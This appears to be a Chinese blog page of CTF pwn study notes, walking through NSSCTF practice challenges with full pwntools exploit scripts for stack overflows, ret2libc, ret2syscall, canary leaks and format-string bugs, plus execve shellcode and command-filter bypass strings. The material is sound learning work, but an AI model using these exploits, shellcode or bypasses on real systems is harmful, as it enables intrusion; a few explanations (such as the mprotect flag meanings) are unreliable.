NSSCTF——Pwn 刷题笔记

389 [SWPUCTF 2021 新生赛]nc签到

blacklist = ['cat','ls',' ','cd','echo','<','${IFS}']

while True:
    command = input()
    for i in blacklist:
        if i in command:
            exit(0)

过滤了'cat','ls',' ','cd','echo','<','${IFS}'


方法一 使用引号截断绕过+\$IFS\$9(空格)绕过

l‘s'
c'at'$IFS$9flag

方法二 转义符\+\$IFS\$9(空格)绕过

c\at$IFS$9flag

方法三 tac绕过

tac$IFS$9flag

方法四 获取root权限

bin/sh
bash
su
sh
$0

390 [SWPUCTF 2021 新生赛]gift_pwn

溢出原因:read

后门函数地址:0x4005B6

溢出数据长度:0x10+8


3875 [LitCTF 2023]只需要nc一下~

考点:环境变量

exp:echo $FLAG


2158 [NISACTF 2022]ReorPwn?

image-20240715085701173

image-20240715085642727

fun函数将输入的指令倒序,所以将cat flag倒序就可以


2928 [HNCTF 2022 Week1]easync

命令使用


2633 [SWPUCTF 2022 新生赛]Does your nc work?

命令使用


3487 [HGAME 2023 week1]test_nc

命令使用


2059 [NISACTF 2022]ezpie

PIE保护

每一次运行程序的时候 地址都会被随机 所以我们在ida当中没办法直接看到地址

nc连接得到main的真实地址(0x5663f770),可以通过ida中main和shell函数的偏移推断出shell的真实地址


2941 [HNCTF 2022 Week1]easyoverflow

栈地址结构如下:

+------------------+ 
|     ...          | <- 高地址
+------------------+
|  Return Address  | <- 返回地址 (main函数返回时跳转的地址)
+------------------+
|  Saved Frame     | <- 保存的基指针 (rbp的旧值)
|     Pointer      |    (调用者的栈帧基指针)
+------------------+ <- rbp (当前栈帧基指针)
|                  |
|       v4         | <- 44字节的缓冲区 (char v4[44];)
|    (buffer)      |
|                  |
+------------------+ <- rbp - 0x2C (v4的起始地址)
|       v5         | <- 4字节的整型 (int v5;)
+------------------+ <- rbp - 0x4 (v5的起始地址)
|     ...          | 
+------------------+ <- 栈底 (低地址)

方法一 栈溢出到system地址,通过地址直接执行

payload = b"a" * (0x30 + 0x8) + p64(0x401220)

 方法二 直接通过覆盖原始v4的大小,通过溢出来修改v5的值

payload = b"a" * 44 + b"b"

889 [GFCTF 2021]where_is_shell

read存在栈溢出,利用system(\$0)获得shell权限,$0在机器码中为 \x24\x30

pop rdi ret的利用

ret 是一个汇编指令,用于函数的返回操作。当程序执行到 ret 指令时,它会从栈中弹出一个地址,并跳转到该地址处,继续执行代码。在函数调用过程中,当一个函数执行完毕时,它会通过 ret 指令返回到调用该函数的位置。这个返回地址通常是在函数调用时被压入栈中的。
“pop rdi ret” 是一种常见的ROP(Return Oriented Programming)gadget,用于构建ROP攻击时的payload。在x86_64架构中,这个gadget的作用是从栈中弹出一个数值,并将其赋值给rdi寄存器,然后进行返回。
在ROP攻击中,攻击者利用程序中存在的这种gadget,通过精心构造的数据将程序控制流引导到这个gadget,从而实现对程序行为的控制。通常情况下,攻击者会将需要的参数放置在栈上,然后利用ROP链将控制流引导到 “pop rdi ret” 这样的gadget,将参数加载到合适的寄存器中,然后再执行调用目标函数的ret指令。

总而言之,构造的payload就是首先需要覆盖返回地址,然后使用ret弹出一个地址,再使用pop rdi ret 把我们的shell的地址存进rdi寄存器里,最后再调用system函数,因为rdi里存着shell函数的地址所以调用了system函数就等于system($0),因为rdi是64位传参中最先传输的。


pop rdi ret和ret的地址可以通过ROPgadget查看

ROPgadget --binary 889 --only "pop|ret"
Gadgets information
============================================================
0x00000000004005dc : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004005de : pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004005e0 : pop r14 ; pop r15 ; ret
0x00000000004005e2 : pop r15 ; ret
0x00000000004005db : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004005df : pop rbp ; pop r14 ; pop r15 ; ret
0x00000000004004b8 : pop rbp ; ret
0x00000000004005e3 : pop rdi ; ret
0x00000000004005e1 : pop rsi ; pop r15 ; ret
0x00000000004005dd : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400416 : ret

可以找到pop rdi ret的地址为0x4005e3 ret地址为ret地址为0x400416


栈对齐

这里需要先加上ret_add,这一问题的根源在于栈对齐。

本质上,x86-64 ABI(应用程序二进制接口)保证了在调用指令上的 16-bits 对齐。libc 利用了这一点,并使用 SSE 数据传输指令来优化执行;特别是在 system 中会使用诸如 movaps 等指令。

这意味着如果栈不是 16-bits 对齐的(即 RSP 不是 16 的倍数),那么 ROP 链在执行 system 时会失败。

修复方法很简单,在你的 ROP 链中调用 system 之前,插入一个单独的 ret gadget:


2141 [NSSCTF 2022 Spring Recruit]R3m4ke?

get函数溢出,有后门函数


3734 [GDOUCTF 2023]EASY PWN

栈溢出变量覆盖


2002 [WUSTCTF 2020]getshell

read函数 栈溢出


2636 [SWPUCTF 2022 新生赛]有手就行的栈溢出

gets函数存在栈溢出


3773 [HDCTF 2023]pwnner

伪随机数+栈溢出

这道题的重点是如何找到伪随机数

from ctypes import*

libc = CDLL("libc.so.6")
libc.srand(0x39)
rand_number=libc.rand()

找到伪随机数后,存在后门函数,简单的ret2text


3876 [LitCTF 2023]口算题卡

编程题


2999 [HNCTF 2022 WEEK2]ez_backdoor

栈溢出+栈对齐


3176 [NUSTCTF 2022 新生赛]ezPwn

gets函数 栈溢出

注意应该使用main函数内system的地址


3339 [MoeCTF 2022]ret2text

read函数 栈溢出


3490 [HGAME 2023 week1]easy_overflow

输出重定向

题目中有close(1) 所以我们需要在getshell后重定向回来(0是标准输入,1是标准输出,2是标准错误)

exec 1>&0

4479 [FSCTF 2023]nc

命令绕过+重定向

题目中过滤了"cat"、“flag”、“sh"或者”$0"这些关键词


方法一 tac+*绕过+重定向

tac fla* >&0

*可以改变位置 重定向可以到2

方法二 tac+转义符绕过+重定向

tac f\lag >&2

转义符位置以及数量可以改变


2934 [HNCTF 2022 Week1]ret2shellcode

第一道ret2shellcode,先对一些基本概念进行了解


ret2shellcode——顾名思义,控制执行流到shellcode

在更简单的一类题目ret2text中,我们主要的尝试是修改某个返回地址修改,修改到程序固有的后门函数处,劫持程序控制流以期返回后门。然而,如果程序中并不存在这样的后门函数,那么很朴素的想法是,能不能自己写一段后门函数,然后劫持程序控制流返回执行这段恶意代码呢?

依此,主要的过程如下:

(1)构造shellcode通过溢出放到程序某片存储空间上——为了能够执行这段代码,所存储的区域需要有可执行的权限

(2)将返回地址劫持到构造的shellcode地址使得程序开始执行恶意代码


read函数 栈溢出 strcpy函数将s复制到buf buf存在在bss段

bss段

在采用段式内存管理的架构中(比如 intel 的 80x86 系统),bss 段(Block Started by Symbol segment)通常是指用来存放程序中未初始化的全局变量的一块内存区域,一般在初始化时 bss 段部分将会清零(bss 段属于静态内存分配,即程序一开始就将其清零了)。比如,在 C 语言程序编译完成之后,已初始化的全局变量保存在.data 段中,未初始化的全局变量保存在.bss 段中。

简单来说,定义没有赋初值的全局变量和静态变量 , 放在这个区域


mprotect()函数

NX enabled是不可执行保护

在Linux中,mprotect()函数可以用来修改一段指定内存区域的保护属性。函数原型如下:

#include <unistd.h>
#include <sys/mmap.h>
int mprotect(const void *start, size_t len, int prot);

mprotect()函数把自start开始的、长度为len的内存区的保护属性修改为prot指定的值。

prot可以取以下几个值,并且可以用“|”将几个属性合起来使用:

1)PROT_READ:表示内存段内的内容可写;

2)PROT_WRITE:表示内存段内的内容可读;

3)PROT_EXEC:表示内存段中的内容可执行;

4)PROT_NONE:表示内存段中的内容根本没法访问。

需要指出的是,指定的内存区间必须包含整个内存页(4K)。区间开始的地址start必须是一个内存页的起始地址,并且区间长度len必须是页大小的整数倍。

如果执行成功,则返回0;如果执行失败,则返回-1,并且设置errno变量,说明具体因为什么原因造成调用失败。错误的原因主要有以下几个:

1)EACCES

该内存不能设置为相应权限。这是可能发生的,比如,如果你 mmap(2) 映射一个文件为只读的,接着使用 mprotect() 标志为 PROT_WRITE。

2)EINVAL

start 不是一个有效的指针,指向的不是某个内存页的开头。

3)ENOMEM

内核内部的结构体无法分配。

4)ENOMEM

进程的地址空间在区间 [start, start+len] 范围内是无效,或者有一个或多个内存页没有映射。

如果调用进程内存访问行为侵犯了这些设置的保护属性,内核会为该进程产生 SIGSEGV (Segmentation fault,段错误)信号,并且终止该进程。


mprotect((void *)((unsigned __int64)&stdout & 0xFFFFFFFFFFFFF000LL), 0x1000uLL, 7);

也就是说,地址0xFFFFFFFFFFFFF000LL后0x1000uLL在经过这一句代码后,保护属性变成了可执行

第三个参数中的7表示二进制的111

读 写 执行 三个权限由三位二进制确定,第三个参数为二进制的十进制格式


GDB的基本用法

next/n          单步调试
next/n [num]    单步跳过num步
b main          在main函数处设置断点
vmmap           查看各段属性/rxw
run/r           运行程序

偏移量计算

===============pwndbg====================

cyclic 200 
cyclic -l 异常地址

===============peda======================

pattern create 200
pattern offset 异常地址

=========================================

首先构建shellcode,这里我们直接手写(还可以使用asm(shellcraft.sh())),接下来计算偏移量,可以直接看s也可以使用gdb的插件,

from pwn import *

io= remote('node5.anna.nssctf.cn',23876)

# shellcode = asm(shellcraft.sh())
shell_code=b"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x99\x0f\x05"
buf_add=0x04040A0

payload=shell_code.ljust((0x100+0x08),b'a')+p64(buf_add)

io.sendline(payload)
io.interactive()

3659 [GDOUCTF 2023]Shellcode

name存在在bss段,mprotect函数执行后权限为rwxp,在此处写shellcode,查看buf偏移量为(0x0A+8),将name地址作为返回地址。注意第一个read有25bytes的字节限制。

from pwn import*

io=remote("node4.anna.nssctf.cn",28884)

shell_code=b"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x99\x0f\x05" #amd64
bss_add=0x6010A0
payload=b"a"*(0x0A+8)+p64(bss_add)

io.sendlineafter(b"Please.",shell_code)
io.sendlineafter(b"start!",payload)

io.interactive()

2930 [HNCTF 2022 Week1]ezr0p32

i386-32的框架。NX保护开启,没有改变权限函数。查看IDA发现两个read函数,第一个读到bss段,可以查看到system函数地址。

思路:先写入命令字符串到bss段,ret后传入system的地址,通过传入一个ret的地址跳到bss段执行命令

这里尝试了pop ebx ret 和pop ebp ret 和ret都能打通


2933 [HNCTF 2022 Week1]safe_shellcode

可见字符shellcode

amd64的框架,NX保护开启,有改变权限函数。主函数功能为检测传入的shellcode是否为可见字符

from pwn import*

io=remote("node5.anna.nssctf.cn",21816)

payload="Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t"

io.send(payload)
io.interactive()

注意!!!这里需要用send,因为sendline会在发出后的末尾添加换行符,会被认作不可见字符。


2600 [HUBUCTF 2022 新生赛]singout

一道很平常的绕过题,学到了一些新的绕过方式

more绕过

more 命令类似 cat ,不过会以一页一页的形式显示


./绕过

./*.txt

变量绕过

 a=g;tac$IFS$9fla$a.txt

nl绕过

nl可以将输出的文件内容自动的加上行号


tail绕过

tail 命令可用于查看文件的内容

tail ./*
tail$IFS$9./f*

469 [2021 鹤城杯]babyof

开始向ret2libc进发

ret2libc的目的是劫持binary执行system('/bin/sh')。一般有一个溢出点,要进行两次劫持。

第一次劫持是为了泄露出某个函数地址,第二次劫持是为了控制binary返回到libc中执行system('/bin/sh')

第一次劫持需要构造两个条件:

  • 控制binary,为第二次劫持布局。
  • 寻找output函数和待泄露函数。

为了找到system的地址,我们需要知道一个公式:==函数的真正地址 = 基地址 + 偏移地址==

首先查看保护,发现保护都没有开。查看主函数,发现栈溢出在read部分

根据ret2libc模板写出exp

from pwn import *
from LibcSearcher import *

io = remote('node4.anna.nssctf.cn',28427)
elf = ELF('468')
# libc= ELF('libc-2.31.so')

ret_add = 0x0400506
pop_rdi = 0x0400743
main_add = 0x4006e2
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']

offset=0x50

payload = b'a' * (offset+8) + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_add)
io.sendlineafter('', payload)
puts_addr = u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
print("put_addr:",hex(puts_addr))

libc = LibcSearcher('puts',puts_addr)

libc_base = puts_addr - libc.dump('puts')
system_add = libc_base + libc.dump('system')
bin_sh_add = libc_base + libc.dump('str_bin_sh')

# libc_base = puts_addr - libc.symbols['puts']
# system_add = libc_base + libc.symbols['system']
# bin_sh_add = libc_base + next(libc.search(b'/bin/sh'))

payload = b'a' * (offset+8) + p64(ret_add) + p64(pop_rdi) + p64(bin_sh_add) + p64(system_add)

io.sendlineafter('', payload)
io.interactive()

2003 [WUSTCTF 2020]getshell2

read函数存在溢出 system函数地址已知 查找sh位置(0x08048670)写出payload

payload=b"a"*(0x18+4)+p32(call_sys_add)+p32(sh_add)

也可以使用

payload=b"a"*(0x18+4)+p32(plt_sys_add)p32(0)+p32(sh_add)

但是本题限制了read的字节 所以采用第一种


tips: p32(system_plt) + p32(0) + p32(str_binsh) 可以替换成 p32(call_system) + p32(str_sh)
这是因为 call system 指令执行后会被当前 eip 寄存器的值压栈,所以在 p32(system_plt) + p32(0) + p32(str_binsh) 中我们用 p32(0) 作为 eip 寄存器的值进入栈中。那么我们使用 call system 指令的时候就不需要 p32(0) 作为 eip 寄存器的值进入栈中(call system 指令会自动实现将当前 eip 寄存器的值压栈),所以该指令后面直接跟参数
同样的,在 linux 中,/bin/sh 是二进制文件,而 sh 是环境变量,相当于执行 /bin/sh


可以使用 find / -name 文件名 来查找


4055 [CISCN 2023 初赛]烧烤摊儿

开始学习ret2sycall

首先打开加载很慢而且有很多函数,是静态连接,所以gadget会比较多,适合ret2syscall。

54位,其次没有明显的后门函数,也没有system()。因此ret2text走不通,只剩ret2syscall了,找syscall.
发现syscall的地址(0x402404)

64位传参的寄存器是rdi->rsi->rdx->rcx->r8->r9,即把需要的系统调用号给rax(64位),把rdx,rsi置零(因为是pop释放参数,所以与传参顺序相反)。

通过ROPgadget找到寄存器地址

ROPgadget --binary 4055 --only "pop|ret" | grep "rax"
0x00000000004a404a : pop rax ; pop rdx ; pop rbx ; ret
0x0000000000458827 : pop rax ; ret
0x000000000042a664 : pop rax ; ret 1

ROPgadget --binary 4055 --only "pop|ret" | grep "rdi"
0x00000000004050f4 : pop rdi ; pop rbp ; ret
0x000000000040264f : pop rdi ; ret

ROPgadget --binary 4055 --only "pop|ret" | grep "rsi"
0x00000000004050f2 : pop rsi ; pop r15 ; pop rbp ; ret
0x000000000040264d : pop rsi ; pop r15 ; ret
0x000000000040a67e : pop rsi ; ret

ROPgadget --binary 4055 --only "pop|ret" | grep "rdx"
0x00000000004a404a : pop rax ; pop rdx ; pop rbx ; ret
0x00000000004a404b : pop rdx ; pop rbx ; ret

syscall需要三个参数,第一个参数在rdi中存入/bin/sh的地址,第二个第三个参数在rsi和rdx中存入0。控制 rax=59, rdi=name_addr, rdi=0, rsi=0,然后去执行syscall,即可执行到 execve('/bin/sh',0 ,0)

from pwn import*

io=remote("node4.anna.nssctf.cn",28652)

io.sendline(b"1")
io.sendline(b"1")
io.sendline(b"-99999")
io.sendline(b"4")
io.sendline(b"5")

pop_rax_add=0x458827
pop_rdi_add=0x40264f
pop_rsi_add=0x40a67e
pop_rdx_rbx_add=0x4a404b
syscall_add=0x402404
bin_sh_add=0x4e60f0

shellcode=b"/bin/sh\x00"

payload=shellcode.ljust((0x20+8),b"a")
payload+=p64(pop_rax_add)+p64(59)
payload+=p64(pop_rdi_add)+p64(bin_sh_add)
payload+=p64(pop_rsi_add)+p64(0)
payload+=p64(pop_rdx_rbx_add)+p64(0)+p64(0)
payload+=p64(syscall_add)

io.sendline(payload)
io.interactive()

注意这里的shellcode里需要用\x00截断


391 [SWPUCTF 2021 新生赛]whitegive_pwn

ret2libc

远程环境存在问题

未出


95 [CISCN 2019东北]PWN2

ret2libc

版本:libc6_2.27-0ubuntu2_amd64


468 [2021 鹤城杯]littleof

ret2libc 开启了canary

canary

v3 = __readfsqword(0x28u)

对于canary需要找到存在栈底随机的值

io.sendlineafter('Do you know how to do buffer overflow?\n', b'a'*(offset-8))
io.recvuntil('\x0a')
canary = u64(b'\00' + io.recv(7))
print(hex(canary))

泄露canary的ret2libc

from pwn import *
from LibcSearcher import *

io = remote('node4.anna.nssctf.cn',28288)
elf = ELF('./468')

ret_add = 0x040059e
pop_rdi = 0x0400863
main_add = 0x4006e2
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']

offset=0x50

io.sendlineafter('Do you know how to do buffer overflow?\n', b'a'*(offset-8))
io.recvuntil('\x0a')
canary = u64(b'\00' + io.recv(7))
print(hex(canary))

payload1 = b'a'*(offset-8) + p64(canary) + b'a'*8 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_add)
io.sendlineafter('Try harder!',payload1)
puts_addr = u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
print(hex(puts_addr))

libc = LibcSearcher('puts',puts_addr)

libc_base = puts_addr - libc.dump('puts')
system_add = libc_base + libc.dump('system')
bin_sh_add = libc_base + libc.dump('str_bin_sh')

payload2 = b'a'*(offset-8) + p64(canary) + b'a'*8 + p64(ret_add) + p64(pop_rdi) + p64(bin_sh_add) + p64(system_add)
io.sendlineafter('Do you know how to do buffer overflow?\n',payload2)

io.interactive()

3877 [LitCTF 2023]狠狠的溢出涅~

给了libc的ret2libc

首先用\x00截断strlen函数,相对应的填充的垃圾数据需要少一个

from pwn import *
from LibcSearcher import *

io = remote('node4.anna.nssctf.cn',28350)
elf = ELF('3877')
libc= ELF('libc-2.31.so')

ret_add = 0x0400556
pop_rdi = 0x04007d3
main_add = 0x4006b0
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']

offset=0x60

payload = b'\x00'+ b'a' * (offset+8-1) + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_add)
io.sendlineafter('message:', payload)
puts_addr = u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
print(hex(puts_addr))

libc_base = puts_addr - libc.symbols['puts']
system_add = libc_base + libc.symbols['system']
bin_sh_add = libc_base + next(libc.search(b'/bin/sh'))

payload = b'\x00'+ b'a' * (offset+8-1) + p64(ret_add) + p64(pop_rdi) + p64(bin_sh_add) + p64(system_add)

io.sendlineafter('message:', payload)
io.interactive()

707 [BJDCTF 2020]babyrop

ret2libc

libc6_2.23-0ubuntu11_amd64


2932 [HNCTF 2022 Week1]fmtstrre

开始格式化字符串的学习

C语言格式化字符串中常用的占位符

占位符 含义
%d 以十进制形式输出整数
%u 以十进制形式输出无符号整数
%x 以十六进制形式输出整数(小写字母)
%X 以十六进制形式输出整数(大写字母)
%o 以十进制形式输出整数
%f 以浮点数形式输出实数
%e 以指数形式输出实数
%g 自动选择%f或者%e输出实数
%c 输出单个字符
%s 输出字符串
%p 输出指针的地址
%n 将已经输出的字符数写入参数

在格式化字符串漏洞利用中,常用%p来泄露地址,使用%n来实现向指定地址写入数据(4字节),我们还通常会使用%hn(2字节),%hhn(1字节),%lln(8字节)进行写入


格式化字符串

%[parameter] [flags] [field width] [precision] [length] type


parameter

parameter可以忽略,或者是n$,用于获取格式化字符出中的指定参数,例如:

int a=0x111, b=0x222, c=0x333
printf("%3$p",a,b,c);
//0x333

输出的解释如下:

%3\$p是一个格式化字符串,其中3标识使用的是传入的第三个参数,即c;而$是格式化修饰符,指示参数的索引;p指示以十六进制形式进行输出


flags

flags可以为0至多个,可以是:+,空格,-,#,0


field width

标识显示数值的最小宽度


precision

标识输出的最大长度


length

标识浮点数或整数参数的长度,可以是:hh:输出1byte h:输出2byte l:输出4byte ll:输出8byte。通常在漏洞利用时我们使用hh或h。


 type

转换说明

d/i 有符号整型 u:无符号整型
x/X 十六进制,x以小写字母输出,X以大写字母输出
s 输出以null结尾的字符串直至精度规定的上限
c 将int参数转换为unsigned char类型输出
p void*型,输出对应的变量值
n 不输出字符,但会将已经成功输出的字符数写入对应的整型指针参数所指的变量

%n的妙用

n参数的作用是:将已经成功输出的字符数写入对应的整型指针参数所指的变量,例如:

printf("%100c%n\n",a,&a);
printf("%d",a);

%100c就是输出至少100个字符,%n则指示将已经成功输出的字符个数100写入a中,而%n解n$,即以%Xc%Y$n这种形式的格式化字符串(X为要写入的字符数,Y是指定的参数),就可以将已输出的字符数往指定参数中写入,即达到了任意地址写数据的恶意目的。%n一次写入4字节,%hn一次性写入2字节,%hhn一次性写入1字节

关于语句”printf("%100c%n\n",a,&a);“,这里的变量a本来是空的(也可以指定一个值),所以就会输出100个空格,然后%n又会为变量a赋值100,所以最后打印a的值回显是100


%a的妙用

%a以double型的16进制格式输出栈中变量,当程序开启了FORTIFY机制后(gcc-D_FORTIFY_SOURCE=2 -O1),程序在编译时所有的printf函数都被printf chk函数替换了。
printf_chk和printf的区别有以下两点:

(1)不能使用%n\$p不连续地打印,比如要使用%3\$p,那么%1\$p和%2\$p需要同时使用

(2)在使用%n的时候会做一些检查。由于printf_chk无法单独使用%n$p来泄露地址,如果可输入的字符数量有限,要通过连续多个%p泄露地址就会很困难,这种情况下就可以使用%a了,%a会输出栈上方的的数据。


解题

可控部分位于第五个参数,考虑到为 64 位程序,当参数少于 7 个时, 参数从左到右放入寄存器: rdi, rsi, rdx, rcx, r8, r9。但超过 7 个时会从右向左以此压栈。

from pwn import*

io=process("2932")

gdb.attach(io,"b *0x4012CF")
pause()

#payload=b'DDDDDDDD'+b"%p.%p.%p.%p.%p.%p.%p.%p"
#payload=b'%38$s'
payload=b'%7$saaaa'+p64(0x4040C0)

io.sendlineafter(b"string.",payload)
io.interactive()

两种思路,第一种是找到printf输入值的偏移后存入name指针的地址。第二种思路是找到printf输入值偏移后计算出buf后v5的地址的偏移


o1 [CTBUCTF 2024]fmt0

谢哥找的一道之前校赛的一道题让我练练手


先计算输入的偏移

payload=b'DDDDDDDD'+b'.%08x'*8
DDDDDDDD.68873020.00000060.2bf7d7e2.00000018.2c0a4040.00000000.0001bf52.44444444  偏移8

可以发现我们输入的数据是从偏移为8的地方存储。buf在[rbp-210h]处的偏移是8,v3的地址是[rbp-0x10h],计算出v3的偏移为72(64位的程序是以8个字节为一个单位,32位的程序是4个字节一个单位)

(0x210-0x10)/8+8=72

这里犯了一个错,想着直接推v1的地址,忘记了栈地址有没有pie都是随机的。

在计算完偏移后开始计算改值。当v4==v1时会进入后门函数,这里查看v4和v1的值,内存中是以16进制存储的。

v1 : 114514 = 0x1BF52
v4 : 114515 = 0x1BF53

可以看到我们需要将v1的0x52字节改为0x53(83)。在printf中写需要用到%n,而对单字节我们选择%hhn进行操作。

%83c%72$hhn

或者用%n

%114515c%72$n

774 [深育杯 2021]find_flag

先查看保护,发现保护全开(汗流浃背了……)


未出

好难~先去看看其他的


2931 [HNCTF 2022 Week1]ezr0p64

ret2libc

接收输出的puts地址后进行常规ret2libc进行

from pwn import *
from LibcSearcher import *

io = remote('node5.anna.nssctf.cn',28823)
libc= ELF('libc.so.6')

ret_add  = 0x40101a
pop_rdi  = 0x4012a3

offset=0x100

io.recvuntil(b'Gift :0x')
puts_addr=int(io.recv(12),16)
print(hex(puts_addr))

# libc_base = puts_addr - libc.dump('puts')
# system_add = libc_base + libc.dump('system')
# bin_sh_add = libc_base + libc.dump('str_bin_sh')

libc_base = puts_addr - libc.symbols['puts']
system_add = libc_base + libc.symbols['system']
bin_sh_add = libc_base + next(libc.search(b'/bin/sh\x00'))

payload = b'a' * (offset+8) + p64(ret_add) + p64(pop_rdi) + p64(bin_sh_add) + p64(system_add)

io.sendlineafter(b'Start your rop.', payload)
io.interactive()

注意在接收的时候不要把本身带有的0x接收进行转化


2599 [HUBUCTF 2022 新生赛]fmt

这里因为开了PIE所以断点设置应修改为 b *$rebase(0x9B1)

先算输入点的偏移

payload=b"DDDDDDDD"+b".%08x"*8
#DDDDDDDD.00000001.00000001.81f30aa0.00000000.00000000.00000001.4c5d82a0.44444444   #偏移8

format在[rbp-60h]处的偏移为8,flag存储在s中,推断s在[rbp-40h]处的偏移

(0x60-0x40)/8+8=12

flag读取在栈上,所以需要读取栈上字符,构造payload

%12$p%13$p%14$p%15$p%16$p%17$p
#0x657b46544353534e0x2d356666616136310x6139342d636633610x362d356162612d620x33633265323738620xa7d353036

这里需要注意的是只能用p不能用x,因为x输出为整数,只会输出低八位。将得到的数据在Cyberchef解码

NSSCTF{e16aaff5-a3fc-49ab-aba5-6b872e2c3605}

2635 [SWPUCTF 2022 新生赛]shellcode?

main函数内的代码较生疏,先对代码进行解读

int __cdecl main(int argc, const char **argv, const char **envp)
{
  init();
  mmap((void *)0x30303000, 0x1000uLL, 7, 50, -1, 0LL);  //调用函数创建了一个新的可读可写可执行的内存段
  read(0, (void *)0x30303000, 0x64uLL);                 //从键盘接收0x64个字节的内容存入地址内
  MEMORY[0x30303000]();                                 //将此内存段当成函数执行
  return 0;
}

虽然程序本身开启代码不可执行保护,但是又创建了一个可读可写可执行的内存段,并将内容写进去,即最简单的shellcode

from pwn import *

p= remote('node5.anna.nssctf.cn',22038)

shell_code=b"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x99\x0f\x05"

payload=shell_code.ljust((0x60),b'a')

p.sendline(payload)
p.interactive()

2929 [HNCTF 2022 Week1]ezcmp

动调

未出


1871 [HGAME 2022 week1]test your gdb

动调

未出


3774 [HDCTF 2023]KEEP ON

只开了NX代码执行保护,分析代码


memset函数

void *memset(void *str, int c, size_t n)

解释:复制字符 c(一个无符号字符)到参数 str 所指向的字符串的前 n 个字符。

作用:是在一段内存块中填充某个给定的值,它是对较大的结构体或数组进行清零操作的一种最快方法


vuln函数中先对s进行了清零,

栈迁移

未出


3663 [GDOUCTF 2023]真男人下120层

例行检查,卡了canary和代码执行保护,查看主函数。


image-20240804221244601

首先将time(0)生成的v3作为随机数种子,生成随机数v4,再次设置种子,但这个种子是已知的,所以后面面生成的随机数位为伪随机数。

伪随机数

from ctypes import *

libc = CDLL("libc.so.6")
libc.srand(libc.time(0))
number = libc.rand()

根据生成的随机数做出选择

from pwn import*
from ctypes import *

io=remote("node4.anna.nssctf.cn",28514)

libc = CDLL("libc.so.6")
libc.srand(libc.time(0))
v4 = libc.rand()
libc.srand(v4 % 3 - 1522127470)

for i in range(120):
    choice=(libc.rand() % 4 + 1)
    io.sendlineafter("Floor ",str(choice))

io.interactive()

3342 [MoeCTF 2022]shell

nc连接


3091 [UUCTF 2022 新生赛]babystack

例行检查,64位,只开了NX代码执行保护,发现有后门函数,ret2text


3406 [MoeCTF 2021]ret2text_ez

例行检查,64位,只开了NX代码执行保护,发现有后门函数,ret2text


3039 [SWPUCTF 2022 新生赛]Darling

伪随机数


2381 [SDCTF 2022]Horoscope

fflush(stdout):清空输出缓冲区

fflush(stdio):清空输入缓冲区

发现后门函数,但是需要temp==1,在debug函数中发现赋值语句

fgets函数

从指定的流 stream 读取一行,并把它存储在 str 所指向的字符串内。当读取 (n-1) 个字符时,或者读取到换行符时,或者到达文件末尾时,它会停止,具体视情况而定。

char *fgets(char *str, int n, FILE *stream)
  • str -- 这是指向一个字符数组的指针,该数组存储了要读取的字符串。
  • n -- 这是要读取的最大字符数(包括最后的空字符)。通常是使用以 str 传递的数组长度。
  • stream -- 这是指向 FILE 对象的指针,该 FILE 对象标识了要从中读取字符的流。

atoi()函数

把参数 str 所指向的字符串转换为一个整数(类型为 int 型)

int atoi(const char *str)

当atoi遇到非数字的字符时会被阻断


strtok()函数

分解字符串 str 为一组字符串,delim 为分隔符

char *strtok(char *str, const char *delim)

第一种思路直接调用后门函数,第二种思路先用debug赋值再调用test


114 [CISCN 2019华中]PWN1

首先是一个菜单函数,溢出点在encrypt函数中,先输入到1中。strlen( )用\x00截断后为正常的ret2libc

libc6_2.27-0ubuntu2_amd64


2350 [CISCN 2022 初赛]login_normal

例行检查,保护全开

首先研究第一个绕过需要的条件

!*a1 || *a1 != 10 && (*a1 != 13 || a1[1] != 10)

首先*a1为空

未出


708 [BJDCTF 2020]babyrop2

例行检查,开了Canary和代码执行保护。

这里先通过格式化字符串泄露canary

首先格式化字符串算出输出处的偏移为6,那么canary存储在偏移为7的地方

io.sendlineafter(b'help u!', b'%7$p')
io.recvuntil("0x")
canary = int(io.recv(16), 16)

剩下的是正常的ret2libc

libc6_2.23-0ubuntu10_amd64


fmtstr_payload 用于自动生成格式化字符串payload

fmtstr_payload(offset, writes, numbwritten=0, write_size='byte')
  • offset:控制的第一个格式化程序的偏移
  • writes:为字典,用于往addr中写入value,例如{addr: value, addr2: value2}
  • numbwritten:已经由printf写入的字节数
  • write_size:必须是byte/short/int其中之一,指定按什么数据宽度写(%hhn/%hn/%n
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
